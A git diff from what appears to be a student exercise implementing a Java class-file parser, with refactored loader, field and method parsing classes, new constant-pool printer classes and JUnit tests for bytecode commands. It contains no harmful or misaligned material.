+++ b/group12/382266293/src/com/coderising/jvm/field/Field.java
@@ -1,17 +1,34 @@
 package com.coderising.jvm.field;
 
-import com.coderising.jvm.clz.AccessFlag;
 import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.UTF8Info;
 import com.coderising.jvm.loader.ByteCodeIterator;
 
 
 public class Field {
+	public static Field parse(ConstantPool pool,ByteCodeIterator iter){
+		
+		int access_flags = iter.nextU2ToInt();
+		int name_index = iter.nextU2ToInt();
+		int descriptor_index = iter.nextU2ToInt();
+		int attrbutes_count = iter.nextU2ToInt();
+		
+		if (attrbutes_count != 0) {
+			throw new RuntimeException("field attrbutes_count is " + attrbutes_count);
+		}
+		
+		Field field = new Field(access_flags,name_index,descriptor_index,pool);
+		
+		return field;
+	}
 	private int accessFlag;
 	private int nameIndex;
-	private int descriptorIndex;
 
+	private int descriptorIndex;
+	
 	private ConstantPool pool;
+
+	
+	
 	
 	public Field( int accessFlag, int nameIndex, int descriptorIndex,ConstantPool pool) {
 		
@@ -21,28 +38,9 @@ public Field( int accessFlag, int nameIndex, int descriptorIndex,ConstantPool po
 		this.pool = pool;
 	}
 
-	
-	
-	
 	@Override
 	public String toString() {
 		return pool.getUTF8String(nameIndex) + ":" + pool.getUTF8String(descriptorIndex) ;
 	}
 
-	public static Field parse(ConstantPool pool,ByteCodeIterator iter){
-		
-		int access_flags = iter.nextU2ToInt();
-		int name_index = iter.nextU2ToInt();
-		int descriptor_index = iter.nextU2ToInt();
-		int attrbutes_count = iter.nextU2ToInt();
-		
-		if (attrbutes_count != 0) {
-			throw new RuntimeException("field attrbutes_count is " + attrbutes_count);
-		}
-		
-		Field field = new Field(access_flags,name_index,descriptor_index,pool);
-		
-		return field;
-	}
-
 }
diff --git a/group12/382266293/src/com/coderising/jvm/loader/ByteCodeIterator.java b/group12/382266293/src/com/coderising/jvm/loader/ByteCodeIterator.java
index 4b554a434a..5fa9ba7661 100644
--- a/group12/382266293/src/com/coderising/jvm/loader/ByteCodeIterator.java
+++ b/group12/382266293/src/com/coderising/jvm/loader/ByteCodeIterator.java
@@ -11,59 +11,59 @@ public ByteCodeIterator(byte[] codes) {
 		this.codes = codes;
 	}
 
-	public String nextU4ToHexString() {
-		byte[] u4 = new byte[] { codes[currPos++], codes[currPos++], codes[currPos++], codes[currPos++] };
-		return Util.byteToHexString(u4);
+	public void back(int i) {
+		currPos = currPos - 2;
+	}
+
+	public String byteToHexString(byte[] codes) {
+		StringBuffer buffer = new StringBuffer();
+		for (int i = 0; i < codes.length; i++) {
+			byte b = codes[i];
+			int value = b & 0xFF;
+			String strHex = Integer.toHexString(value);
+			if (strHex.length() < 2) {
+				strHex = "0" + strHex;
+			}
+			buffer.append(strHex);
+		}
+		return buffer.toString();
 	}
 
+	public byte[] nextNbytesToHexString(int length) {
+		byte[] bytes = new byte[length];
+		int len = currPos + length;
+		for(int j = 0; currPos < len; j++) {
+			bytes[j] = codes[currPos++];
+		}
+		
+		return bytes;
+	}
+	
 	public int nextU1ToInt() {
 		byte[] u1 = new byte[] { codes[currPos++] };
 		return Util.byteToInt(u1);
 
 	}
-
+	
+	
 	public int nextU2ToInt() {
 		byte[] u2 = new byte[] { codes[currPos++], codes[currPos++] };
 		return Util.byteToInt(u2);
 	}
 	
-	public int nextU4ToInt() {
+	public String nextU4ToHexString() {
 		byte[] u4 = new byte[] { codes[currPos++], codes[currPos++], codes[currPos++], codes[currPos++] };
-		return Util.byteToInt(u4);
+		return Util.byteToHexString(u4);
 	}
 	
-	
-	public byte[] nextNbytesToHexString(int length) {
-		byte[] bytes = new byte[length];
-		int len = currPos + length;
-		for(int j = 0; currPos < len; j++) {
-			bytes[j] = codes[currPos++];
-		}
-		
-		return bytes;
+	public int nextU4ToInt() {
+		byte[] u4 = new byte[] { codes[currPos++], codes[currPos++], codes[currPos++], codes[currPos++] };
+		return Util.byteToInt(u4);
 	}
-	
+
 	public String nextUxToHexString(int length) {
 		byte[] codes = nextNbytesToHexString(length);
 		return byteToHexString(codes);
 	}
-	
-	public String byteToHexString(byte[] codes) {
-		StringBuffer buffer = new StringBuffer();
-		for (int i = 0; i < codes.length; i++) {
-			byte b = codes[i];
-			int value = b & 0xFF;
-			String strHex = Integer.toHexString(value);
-			if (strHex.length() < 2) {
-				strHex = "0" + strHex;
-			}
-			buffer.append(strHex);
-		}
-		return buffer.toString();
-	}
-
-	public void back(int i) {
-		currPos = currPos - 2;
-	}
 
 }
diff --git a/group12/382266293/src/com/coderising/jvm/loader/ClassFileLoader.java b/group12/382266293/src/com/coderising/jvm/loader/ClassFileLoader.java
index 71a8b6fefa..135cf41dee 100644
--- a/group12/382266293/src/com/coderising/jvm/loader/ClassFileLoader.java
+++ b/group12/382266293/src/com/coderising/jvm/loader/ClassFileLoader.java
@@ -14,10 +14,40 @@ public class ClassFileLoader {
 
 	private List<String> clzPaths = new ArrayList<String>();
 
-	public byte[] readBinaryCode(String className) {
+	public void addClassPath(String path) {
+		clzPaths.add(path);
+	}
 
-		String clzFileName = "//" + className.replaceAll("\\.", "//") + ".class";
-		return loadClassFile(clzFileName);
+	private File getClassFile(String clzFileName) {
+
+		for (String path : clzPaths) {
+			File file = new File(path + "//" + clzFileName);
+			if (file.exists()) {
+				return file;
+			}
+		}
+		return null;
+
+	}
+
+	public String getClassPath() {
+
+		StringBuilder sb = new StringBuilder();
+		for (int i = 0; i < clzPaths.size(); i++) {
+
+			sb.append(clzPaths.get(i));
+			if (i < clzPaths.size() - 1) {
+				sb.append(";");
+			}
+
+		}
+
+		return sb.toString();
+	}
+
+	public String getClassPath_V1() {
+
+		return null;
 	}
 
 	public ClassFile loadClass(String className) throws UnsupportedEncodingException {
@@ -65,40 +95,10 @@ private byte[] loadClassFile(String clzFileName) {
 
 	}
 
-	private File getClassFile(String clzFileName) {
-
-		for (String path : clzPaths) {
-			File file = new File(path + "//" + clzFileName);
-			if (file.exists()) {
-				return file;
-			}
-		}
-		return null;
-
-	}
-
-	public void addClassPath(String path) {
-		clzPaths.add(path);
-	}
-
-	public String getClassPath_V1() {
-
-		return null;
-	}
-
-	public String getClassPath() {
-
-		StringBuilder sb = new StringBuilder();
-		for (int i = 0; i < clzPaths.size(); i++) {
-
-			sb.append(clzPaths.get(i));
-			if (i < clzPaths.size() - 1) {
-				sb.append(";");
-			}
-
-		}
+	public byte[] readBinaryCode(String className) {
 
-		return sb.toString();
+		String clzFileName = "//" + className.replaceAll("\\.", "//") + ".class";
+		return loadClassFile(clzFileName);
 	}
 
 }
diff --git a/group12/382266293/src/com/coderising/jvm/loader/ClassFileParser.java b/group12/382266293/src/com/coderising/jvm/loader/ClassFileParser.java
index e1c997d3d0..b9a2383303 100644
--- a/group12/382266293/src/com/coderising/jvm/loader/ClassFileParser.java
+++ b/group12/382266293/src/com/coderising/jvm/loader/ClassFileParser.java
@@ -1,10 +1,6 @@
 package com.coderising.jvm.loader;
 
 import java.io.UnsupportedEncodingException;
-import java.util.ArrayList;
-import java.util.List;
-
-import org.junit.Assert;
 
 import com.coderising.jvm.clz.AccessFlag;
 import com.coderising.jvm.clz.ClassFile;
@@ -19,7 +15,6 @@
 import com.coderising.jvm.constant.UTF8Info;
 import com.coderising.jvm.field.Field;
 import com.coderising.jvm.method.Method;
-import com.coderising.jvm.util.Util;
 
 public class ClassFileParser {
 
@@ -42,7 +37,6 @@ public ClassFile parse(byte[] codes) {
 		System.out.println("majorVersion is " + majorVersion);
 		clzFile.setMajorVersion(majorVersion);
 
-
 		ConstantPool pool = parseConstantPool(iter);
 		clzFile.setConstPool(pool);
 
@@ -62,39 +56,6 @@ public ClassFile parse(byte[] codes) {
 		return clzFile;
 	}
 
-	private void parseMethods(ClassFile clzFile, ByteCodeIterator iter) {
-		
-		int methodNum = iter.nextU2ToInt();
-
-		ConstantPool pool = clzFile.getConstantPool(); 
-		for (int i = 0; i < methodNum; i++) {
-			Method method = Method.parse(clzFile,iter);
-			clzFile.addMethod(method);
-		}
-		
-	}
-
-	private void parseFields(ClassFile clzFile, ByteCodeIterator iter) {
-		
-		int fieldNum = iter.nextU2ToInt();
-		
-		ConstantPool pool = clzFile.getConstantPool(); 
-		for (int i = 0; i < fieldNum; i++) {
-			Field field = Field.parse(pool,iter);
-			clzFile.addField(field);
-		}
-		
-	}
-
-	private void parseInterfaces(ByteCodeIterator iter) {
-		int interfaceNum = iter.nextU2ToInt();
-		
-		if (0 != interfaceNum) {
-			throw new RuntimeException("interface parser not finsihed yet, pls check!");
-		}
-		
-	}
-
 	private AccessFlag parseAccessFlag(ByteCodeIterator iter) {
 	
 		return AccessFlag.parseAccessFlag(iter);
@@ -136,7 +97,7 @@ private ConstantPool parseConstantPool(ByteCodeIterator iter) {
 				// utf8-info
 				UTF8Info utf8Info = new UTF8Info(pool);
 				int length = iter.nextU2ToInt();
-				System.out.println("length is " + length);
+				//System.out.println("length is " + length);
 				utf8Info.setLength(length);
 				byte[] bytes = iter.nextNbytesToHexString(length);
 				String value = "";
@@ -145,7 +106,7 @@ private ConstantPool parseConstantPool(ByteCodeIterator iter) {
 				} catch (UnsupportedEncodingException e) {
 					e.printStackTrace();
 				}
-				System.out.println("value is " + value);
+				//System.out.println("value is " + value);
 				utf8Info.setValue(value);
 
 			} else if (tag == 8) {
@@ -188,4 +149,35 @@ private ConstantPool parseConstantPool(ByteCodeIterator iter) {
 		return pool;
 	}
 
+	private void parseFields(ClassFile clzFile, ByteCodeIterator iter) {
+		
+		int fieldNum = iter.nextU2ToInt();
+		
+		ConstantPool pool = clzFile.getConstantPool(); 
+		for (int i = 0; i < fieldNum; i++) {
+			Field field = Field.parse(pool,iter);
+			clzFile.addField(field);
+		}
+		
+	}
+
+	private void parseInterfaces(ByteCodeIterator iter) {
+		int interfaceNum = iter.nextU2ToInt();
+		
+		if (0 != interfaceNum) {
+			throw new RuntimeException("interface parser not finsihed yet, pls check!");
+		}
+		
+	}
+
+	private void parseMethods(ClassFile clzFile, ByteCodeIterator iter) {
+		
+		int methodNum = iter.nextU2ToInt();
+		for (int i = 0; i < methodNum; i++) {
+			Method method = Method.parse(clzFile,iter);
+			clzFile.addMethod(method);
+		}
+		
+	}
+
 }
diff --git a/group12/382266293/src/com/coderising/jvm/method/Method.java b/group12/382266293/src/com/coderising/jvm/method/Method.java
index 3c3e026a40..2bb53cdf06 100644
--- a/group12/382266293/src/com/coderising/jvm/method/Method.java
+++ b/group12/382266293/src/com/coderising/jvm/method/Method.java
@@ -1,45 +1,27 @@
 package com.coderising.jvm.method;
 
-import com.coderising.jvm.clz.ClassFile;
 import com.coderising.jvm.attr.AttributeInfo;
 import com.coderising.jvm.attr.CodeAttr;
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.cmd.ByteCodeCommand;
 import com.coderising.jvm.constant.ConstantPool;
 import com.coderising.jvm.constant.UTF8Info;
-import com.coderising.jvm.field.Field;
 import com.coderising.jvm.loader.ByteCodeIterator;
-import com.sun.org.apache.bcel.internal.classfile.Code;
 
 
 
 public class Method {
-	
+
+
 	private int accessFlag;
 	private int nameIndex;
+	
 	private int descriptorIndex;
 	
 	private CodeAttr codeAttr;
 	
-	private ClassFile clzFile;
-	
-	
-	public ClassFile getClzFile() {
-		return clzFile;
-	}
-
-	public int getNameIndex() {
-		return nameIndex;
-	}
-	public int getDescriptorIndex() {
-		return descriptorIndex;
-	}
 	
-	public CodeAttr getCodeAttr() {
-		return codeAttr;
-	}
-
-	public void setCodeAttr(CodeAttr code) {
-		this.codeAttr = code;
-	}
+	private ClassFile clzFile;
 
 	public Method(ClassFile clzFile,int accessFlag, int nameIndex, int descriptorIndex) {
 		this.clzFile = clzFile;
@@ -47,15 +29,13 @@ public Method(ClassFile clzFile,int accessFlag, int nameIndex, int descriptorInd
 		this.nameIndex = nameIndex;
 		this.descriptorIndex = descriptorIndex;
 	}
-
-
+	
 	public static Method parse(ClassFile clzFile, ByteCodeIterator iter){
 		
 		int access_flags = iter.nextU2ToInt();
 		int name_index = iter.nextU2ToInt();
 		int descriptor_index = iter.nextU2ToInt();
 		int attrbutes_count = iter.nextU2ToInt();
-		System.out.println("count1 = " + attrbutes_count);
 		
 		Method method = new Method(clzFile, access_flags,name_index,descriptor_index);
 		
@@ -65,10 +45,12 @@ public static Method parse(ClassFile clzFile, ByteCodeIterator iter){
 			iter.back(2);
 			
 			if (AttributeInfo.CODE.equalsIgnoreCase("Code")) {
+				
 				CodeAttr codeAttr = CodeAttr.parse(clzFile, iter);
 				method.setCodeAttr(codeAttr);
+				
 			} else {
-				throw new RuntimeException(att_name + "has not been implemented");
+				throw new RuntimeException(att_name + " has not been implemented");
 			}
 
 		}
@@ -78,4 +60,51 @@ public static Method parse(ClassFile clzFile, ByteCodeIterator iter){
 		return method;
 		
 	}
+	
+	
+	
+	
+
+
+
+	public ByteCodeCommand[] getCmds() {		
+		return this.getCodeAttr().getCmds();
+	}
+	
+	public ClassFile getClzFile() {
+		return clzFile;
+	}
+	
+	public CodeAttr getCodeAttr() {
+		return codeAttr;
+	}
+
+	public int getDescriptorIndex() {
+		return descriptorIndex;
+	}
+
+	public int getNameIndex() {
+		return nameIndex;
+	}
+
+
+	public void setCodeAttr(CodeAttr code) {
+		this.codeAttr = code;
+	}
+	
+	public String toString() {
+		
+		ConstantPool pool = this.clzFile.getConstantPool();
+		StringBuilder buffer = new StringBuilder();
+		
+		String name = ((UTF8Info)pool.getConstantInfo(this.nameIndex)).getValue();
+		
+		String desc = ((UTF8Info)pool.getConstantInfo(this.descriptorIndex)).getValue();
+		
+		buffer.append(name).append(":").append(desc).append("\n");
+		
+		buffer.append(this.codeAttr.toString(pool));
+		
+		return buffer.toString();
+	}
 }
diff --git a/group12/382266293/src/com/coderising/jvm/print/ClassFilePrinter.java b/group12/382266293/src/com/coderising/jvm/print/ClassFilePrinter.java
new file mode 100644
index 0000000000..1f958aac6a
--- /dev/null
+++ b/group12/382266293/src/com/coderising/jvm/print/ClassFilePrinter.java
@@ -0,0 +1,52 @@
+package com.coderising.jvm.print;
+
+import java.io.UnsupportedEncodingException;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.loader.ClassFileLoader;
+
+public class ClassFilePrinter {
+	ClassFile clzFile = null;
+	public ClassFilePrinter(ClassFile clzFile){
+		this.clzFile = clzFile;
+	}
+	
+	public void print(){
+		
+		if(clzFile.getAccessFlag().isPublicClass()){
+			System.out.println("Access flag : public  ");
+		}
+		System.out.println("Class Name:"+ clzFile.getClassName());
+		
+		System.out.println("Super Class Name:"+ clzFile.getSuperClassName());
+		
+		System.out.println("minor version:" + clzFile.getMinorVersion());
+		
+		System.out.println("major version:" + clzFile.getMajorVersion());
+		
+		ConstantPoolPrinter cnstPoolPrinter = new ConstantPoolPrinter(clzFile.getConstantPool());
+		cnstPoolPrinter.print();
+		
+		
+		
+		
+	}
+	
+	public static void main(String[] args){
+		String path = "C:\\Users\\steve\\workspace\\coding2017n\\group12\\382266293\\bin";
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		
+		ClassFile clzFile = null;
+		try {
+			clzFile = loader.loadClass(className);
+		} catch (UnsupportedEncodingException e) {
+			e.printStackTrace();
+		}
+		
+		ClassFilePrinter printer  = new ClassFilePrinter(clzFile);
+		
+		printer.print();
+	}
+}
diff --git a/group12/382266293/src/com/coderising/jvm/print/ConstantPoolPrinter.java b/group12/382266293/src/com/coderising/jvm/print/ConstantPoolPrinter.java
new file mode 100644
index 0000000000..012aeb7001
--- /dev/null
+++ b/group12/382266293/src/com/coderising/jvm/print/ConstantPoolPrinter.java
@@ -0,0 +1,92 @@
+package com.coderising.jvm.print;
+
+import java.util.List;
+
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+import com.coderising.jvm.constant.NullConstantInfo;
+import com.coderising.jvm.constant.StringInfo;
+import com.coderising.jvm.constant.UTF8Info;
+
+public class ConstantPoolPrinter implements PrintVisitor {
+	ConstantPool pool;
+	ConstantPoolPrinter(ConstantPool pool){
+		this.pool = pool;
+	}
+	
+	public void print(){
+		
+		System.out.println("Constant Pool:");
+		int size = pool.getSize();
+
+		for (int i = 1; i <= size; i++) {
+			ConstantInfo info = pool.getConstantInfo(i);
+			System.out.print("#" + i + " = ");
+			info.accept(this);
+		}
+
+	}
+
+	@Override
+	public void visit(StringInfo info) {
+		StringBuilder buffer = new StringBuilder();
+		buffer.append("String    #").append(info.getIndex());
+		System.out.println(buffer);
+	}
+	
+	@Override
+	public void visit(NameAndTypeInfo info) {
+		StringBuilder buffer = new StringBuilder();
+		buffer.append("NameAndType    #").append(info.getIndex1()).append(":#")
+		.append(info.getIndex2());
+		System.out.println(buffer);
+		
+	}
+	
+	@Override
+	public void visit(MethodRefInfo info) {
+		StringBuilder buffer = new StringBuilder();
+		buffer.append("MethodRef    #").append(info.getClassInfoIndex()).append(".#")
+		.append(info.getNameAndTypeIndex());
+		System.out.println(buffer);
+		
+	}
+	
+	@Override
+	public void visit(FieldRefInfo info) {
+		StringBuilder buffer = new StringBuilder();
+		buffer.append("FieldRef    #").append(info.getClassInfoIndex()).append(".#")
+		.append(info.getNameAndTypeIndex());
+		System.out.println(buffer);
+		
+	}
+	
+	@Override
+	public void visit(ClassInfo info) {
+		StringBuilder buffer = new StringBuilder();
+		buffer.append("Class    #").append(info.getUtf8Index())
+		.append("  ").append(info.getClassName());
+		
+		System.out.println(buffer);
+		
+	}
+	
+	@Override
+	public void visit(UTF8Info info) {
+		StringBuilder buffer = new StringBuilder();
+		buffer.append("UTF8    ").append(info.getValue());
+		System.out.println(buffer);
+		
+	}
+
+
+	@Override
+	public void visit(NullConstantInfo nullConstantInfo) {
+		
+	}
+
+}
diff --git a/group12/382266293/src/com/coderising/jvm/print/PrintVisitor.java b/group12/382266293/src/com/coderising/jvm/print/PrintVisitor.java
new file mode 100644
index 0000000000..31aa70b955
--- /dev/null
+++ b/group12/382266293/src/com/coderising/jvm/print/PrintVisitor.java
@@ -0,0 +1,23 @@
+package com.coderising.jvm.print;
+
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+import com.coderising.jvm.constant.NullConstantInfo;
+import com.coderising.jvm.constant.StringInfo;
+import com.coderising.jvm.constant.UTF8Info;
+
+public interface PrintVisitor {
+	
+	void visit(ClassInfo pool);
+	void visit(FieldRefInfo info);
+	void visit(MethodRefInfo info);
+	void visit(NameAndTypeInfo info);
+	void visit(StringInfo info);
+	void visit(UTF8Info info);
+	void visit(NullConstantInfo nullConstantInfo);
+
+}
diff --git a/group12/382266293/src/com/coderising/jvm/test/ClassFileloaderTest.java b/group12/382266293/src/com/coderising/jvm/test/ClassFileloaderTest.java
index d4f255a763..883ad99c05 100644
--- a/group12/382266293/src/com/coderising/jvm/test/ClassFileloaderTest.java
+++ b/group12/382266293/src/com/coderising/jvm/test/ClassFileloaderTest.java
@@ -1,7 +1,6 @@
 package com.coderising.jvm.test;
 
 import java.io.UnsupportedEncodingException;
-import java.util.Arrays;
 import java.util.List;
 
 import org.junit.After;
@@ -11,7 +10,15 @@
 
 import com.coderising.jvm.clz.ClassFile;
 import com.coderising.jvm.clz.ClassIndex;
-import com.coderising.jvm.constant.*;
+import com.coderising.jvm.cmd.BiPushCmd;
+import com.coderising.jvm.cmd.ByteCodeCommand;
+import com.coderising.jvm.cmd.OneOperandCmd;
+import com.coderising.jvm.cmd.TwoOperandCmd;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+import com.coderising.jvm.constant.UTF8Info;
 import com.coderising.jvm.field.Field;
 import com.coderising.jvm.loader.ClassFileLoader;
 import com.coderising.jvm.method.Method;
@@ -20,9 +27,8 @@ public class ClassFileloaderTest {
 
 	static String path1 = "C:\\Users\\steve\\workspace\\coding2017n\\group12\\382266293\\bin";
 	static String path2 = "C:\temp";
-	String FULL_QUALIFIED_CLASS_NAME = "com/coderising/jvm/test/EmployeeV1";
-
 	static ClassFile clzFile = null;
+
 	static {
 		ClassFileLoader loader = new ClassFileLoader();
 		loader.addClassPath(path1);
@@ -36,6 +42,30 @@ public class ClassFileloaderTest {
 		}
 		clzFile.print();
 	}
+	String FULL_QUALIFIED_CLASS_NAME = "com/coderising/jvm/test/EmployeeV1";
+
+	private void assertMethodEquals(ConstantPool pool,Method m , String expectedName, String expectedDesc,String expectedCode){
+    	String methodName = pool.getUTF8String(m.getNameIndex());
+		String methodDesc = pool.getUTF8String(m.getDescriptorIndex());    		
+		String code = m.getCodeAttr().getCode();
+		Assert.assertEquals(expectedName, methodName);
+		Assert.assertEquals(expectedDesc, methodDesc);
+		Assert.assertEquals(expectedCode, code);
+    }
+
+	private String byteToHexString(byte[] codes) {
+		StringBuffer buffer = new StringBuffer();
+		for (int i = 0; i < codes.length; i++) {
+			byte b = codes[i];
+			int value = b & 0xFF;
+			String strHex = Integer.toHexString(value);
+			if (strHex.length() < 2) {
+				strHex = "0" + strHex;
+			}
+			buffer.append(strHex);
+		}
+		return buffer.toString();
+	}
 
 	@Before
 	public void setUp() throws Exception {
@@ -45,19 +75,6 @@ public void setUp() throws Exception {
 	public void tearDown() throws Exception {
 	}
 
-	@Test
-	public void testClassPath() {
-
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		loader.addClassPath(path2);
-
-		String clzPath = loader.getClassPath();
-
-		Assert.assertEquals(path1 + ";" + path2, clzPath);
-
-	}
-
 	@Test
 	public void testClassFileLength() {
 
@@ -74,37 +91,26 @@ public void testClassFileLength() {
 	}
 
 	@Test
-	public void testMagicNumber() {
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		String className = "com.coderising.jvm.test.EmployeeV1";
-		byte[] byteCodes = loader.readBinaryCode(className);
-		byte[] codes = new byte[] { byteCodes[0], byteCodes[1], byteCodes[2], byteCodes[3] };
-
-		String acctualValue = this.byteToHexString(codes);
+	public void testClassIndex() {
 
-		Assert.assertEquals("cafebabe", acctualValue);
-	}
+		ClassIndex clzIndex = clzFile.getClzIndex();
+		ClassInfo thisClassInfo = (ClassInfo) clzFile.getConstantPool().getConstantInfo(clzIndex.getThisClassIndex());
+		ClassInfo superClassInfo = (ClassInfo) clzFile.getConstantPool().getConstantInfo(clzIndex.getSuperClassIndex());
 
-	private String byteToHexString(byte[] codes) {
-		StringBuffer buffer = new StringBuffer();
-		for (int i = 0; i < codes.length; i++) {
-			byte b = codes[i];
-			int value = b & 0xFF;
-			String strHex = Integer.toHexString(value);
-			if (strHex.length() < 2) {
-				strHex = "0" + strHex;
-			}
-			buffer.append(strHex);
-		}
-		return buffer.toString();
+		Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
+		Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
 	}
 
 	@Test
-	public void testVersion() {
+	public void testClassPath() {
 
-		Assert.assertEquals(0, clzFile.getMinorVersion());
-		Assert.assertEquals(52, clzFile.getMajorVersion());
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		loader.addClassPath(path2);
+
+		String clzPath = loader.getClassPath();
+
+		Assert.assertEquals(path1 + ";" + path2, clzPath);
 
 	}
 
@@ -177,31 +183,19 @@ public void testConstantPool() {
 	}
 
 	@Test
-	public void testClassIndex() {
+	public void testMagicNumber() {
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		byte[] byteCodes = loader.readBinaryCode(className);
+		byte[] codes = new byte[] { byteCodes[0], byteCodes[1], byteCodes[2], byteCodes[3] };
 
-		ClassIndex clzIndex = clzFile.getClzIndex();
-		ClassInfo thisClassInfo = (ClassInfo) clzFile.getConstantPool().getConstantInfo(clzIndex.getThisClassIndex());
-		ClassInfo superClassInfo = (ClassInfo) clzFile.getConstantPool().getConstantInfo(clzIndex.getSuperClassIndex());
+		String acctualValue = this.byteToHexString(codes);
 
-		Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
-		Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
+		Assert.assertEquals("cafebabe", acctualValue);
 	}
 	
 	
-    @Test
-    public void testReadFields(){
-   
-    	List<Field> fields = clzFile.getFields();
-    	Assert.assertEquals(2, fields.size());
-    	{
-    		Field f = fields.get(0);
-    		Assert.assertEquals("name:Ljava/lang/String;", f.toString());
-    	}
-    	{
-    		Field f = fields.get(1);
-    		Assert.assertEquals("age:I", f.toString());
-    	}
-    }
     @Test
     public void testMethods(){
    
@@ -247,15 +241,102 @@ public void testMethods(){
     				"bb000159122b101db7002d4c2bb6002fb1");
     	}
     }
+    @Test
+    public void testReadFields(){
+   
+    	List<Field> fields = clzFile.getFields();
+    	Assert.assertEquals(2, fields.size());
+    	{
+    		Field f = fields.get(0);
+    		Assert.assertEquals("name:Ljava/lang/String;", f.toString());
+    	}
+    	{
+    		Field f = fields.get(1);
+    		Assert.assertEquals("age:I", f.toString());
+    	}
+    }
     
-    private void assertMethodEquals(ConstantPool pool,Method m , String expectedName, String expectedDesc,String expectedCode){
-    	String methodName = pool.getUTF8String(m.getNameIndex());
-		String methodDesc = pool.getUTF8String(m.getDescriptorIndex());    		
-		String code = m.getCodeAttr().getCode();
-		Assert.assertEquals(expectedName, methodName);
-		Assert.assertEquals(expectedDesc, methodDesc);
-		Assert.assertEquals(expectedCode, code);
+    @Test
+	public void testVersion() {
+
+		Assert.assertEquals(0, clzFile.getMinorVersion());
+		Assert.assertEquals(52, clzFile.getMajorVersion());
+
+	}
+   
+    @Test
+    public void testByteCodeCommand(){
+    	{
+	    	Method initMethod = this.clzFile.getMethod("<init>", "(Ljava/lang/String;I)V");
+	    	ByteCodeCommand [] cmds = initMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: aload_0", cmds[0]);
+	    	assertOpCodeEquals("1: invokespecial #12", cmds[1]);
+	    	assertOpCodeEquals("4: aload_0", cmds[2]);
+	    	assertOpCodeEquals("5: aload_1", cmds[3]);
+	    	assertOpCodeEquals("6: putfield #15", cmds[4]);
+	    	assertOpCodeEquals("9: aload_0", cmds[5]);
+	    	assertOpCodeEquals("10: iload_2", cmds[6]);
+	    	assertOpCodeEquals("11: putfield #17", cmds[7]);
+	    	assertOpCodeEquals("14: return", cmds[8]);
+    	}
+    	
+    	{
+	    	Method setNameMethod = this.clzFile.getMethod("setName", "(Ljava/lang/String;)V");
+	    	ByteCodeCommand [] cmds = setNameMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: aload_0", cmds[0]);
+	    	assertOpCodeEquals("1: aload_1", cmds[1]);
+	    	assertOpCodeEquals("2: putfield #15", cmds[2]);
+	    	assertOpCodeEquals("5: return", cmds[3]);
+	    	
+    	}
+    	
+    	{
+	    	Method sayHelloMethod = this.clzFile.getMethod("sayHello", "()V");
+	    	ByteCodeCommand [] cmds = sayHelloMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: getstatic #28", cmds[0]);
+	    	assertOpCodeEquals("3: ldc #34", cmds[1]);
+	    	assertOpCodeEquals("5: invokevirtual #36", cmds[2]);
+	    	assertOpCodeEquals("8: return", cmds[3]);
+	    	
+    	}
+    	
+    	{
+	    	Method mainMethod = this.clzFile.getMainMethod();
+	    	
+	    	ByteCodeCommand [] cmds = mainMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: new #1", cmds[0]);
+	    	assertOpCodeEquals("3: dup", cmds[1]);
+	    	assertOpCodeEquals("4: ldc #43", cmds[2]);
+	    	assertOpCodeEquals("6: bipush 29", cmds[3]);
+	    	assertOpCodeEquals("8: invokespecial #45", cmds[4]);
+	    	assertOpCodeEquals("11: astore_1", cmds[5]);
+	    	assertOpCodeEquals("12: aload_1", cmds[6]);
+	    	assertOpCodeEquals("13: invokevirtual #47", cmds[7]);
+	    	assertOpCodeEquals("16: return", cmds[8]);
+    	}
+    	
     }
    
+    private void assertOpCodeEquals(String expected, ByteCodeCommand cmd){
+    	
+    	String acctual = cmd.getOffset()+": "+cmd.getReadableCodeText();
+    	
+    	if(cmd instanceof OneOperandCmd){
+    		if(cmd instanceof BiPushCmd){
+    			acctual += " " + ((OneOperandCmd)cmd).getOperand();
+    		} else{
+    			acctual += " #" + ((OneOperandCmd)cmd).getOperand();
+    		}
+    	}
+    	if(cmd instanceof TwoOperandCmd){
+    		acctual += " #" + ((TwoOperandCmd)cmd).getIndex();
+    	}
+    	Assert.assertEquals(expected, acctual);
+    }
+
 
 }
diff --git a/group12/382266293/src/com/coderising/jvm/test/EmployeeV1.java b/group12/382266293/src/com/coderising/jvm/test/EmployeeV1.java
index d36b122f60..9a36573dd3 100644
--- a/group12/382266293/src/com/coderising/jvm/test/EmployeeV1.java
+++ b/group12/382266293/src/com/coderising/jvm/test/EmployeeV1.java
@@ -1,30 +1,28 @@
 package com.coderising.jvm.test;
 
 public class EmployeeV1 {
-
+	
+	
 	private String name;
-	private int age;
-
-	public EmployeeV1(String name, int age) {
-		this.name = name;
-		this.age = age;
-	}
-
-	public void setName(String name) {
-		this.name = name;
-	}
-
-	public void setAge(int age) {
-		this.age = age;
